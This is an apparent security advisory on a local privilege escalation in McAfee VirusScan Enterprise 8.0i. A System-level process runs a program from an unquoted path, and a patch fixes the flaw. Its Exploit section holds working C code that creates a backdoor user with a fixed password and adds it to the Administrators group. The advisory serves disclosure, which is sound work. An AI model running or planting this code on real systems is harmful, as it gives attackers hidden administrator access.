[NT] McAfee VirusScan Privileges Escalation

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  McAfee VirusScan Privileges Escalation
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SUMMARY

 <http://www.mcafee.com/> McAfee VirusScan Enterprise - "Enterprise 
antivirus and antispyware solution. McAfee VirusScan detects, blocks, and 
removes viruses and spyware, that may result in the loss of your 
irreplaceable documents, such as digital photos, family movies, and 
financial spreadsheets, identity theft and slower PC performance."

A security vulnerability in McAfee's VirusScan Enterprise allows local 
attackers to escalate their privileges.

DETAILS

Vulnerable Systems:
 * McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5)

Immune Systems:
 * McAfee VirusScan Enterprise 8.0i (patch 12)

By default the naPrdMgr.exe process runs under the context of the Local 
System account. Every so often it will run through a process where it does 
the following:
 - Attempts to run \Program Files\Network 
Associates\VirusScan\EntVUtil.EXE
 - Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
 - Reads C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT
 - Reads C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT

Vendor Status:
The vendor has released knowledge base article KB45256 to address the 
issue.

Solutions:
Solution one from the vendor:
"This issue is resolved in Patch 12."

Solution two from the vendor:
"The VirusScan Enterprise plugin VSPLUGIN.DLL has been updated to resolve 
the potential exploit. The new plugin is available as a HotFix from McAfee 
Tier III Technical Support."

Exploit:
// ===== Start Program.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
    CHAR  szWinDir[ _MAX_PATH ];
    CHAR szCmdLine[ _MAX_PATH ];
    GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
    printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" 
);
    wsprintf( szCmdLine, "%s\\system32\\net.exe user Program Pr0gr@m$$ 
/add", szWinDir );
    system( szCmdLine );
    printf( "Adding user \"Program\" to the local Administrators 
group...\n" );
    wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators 
Program /add", szWinDir );
    system( szCmdLine );
    return 0;
}
// ===== End Program.c ======


ADDITIONAL INFORMATION

The information has been provided by  <mailto:reedarvin@gmail.com> Reed 
Arvin.
The original article can be found at:  
<http://reedarvin.thearvins.com/20051222-01.html> 
http://reedarvin.thearvins.com/20051222-01.html



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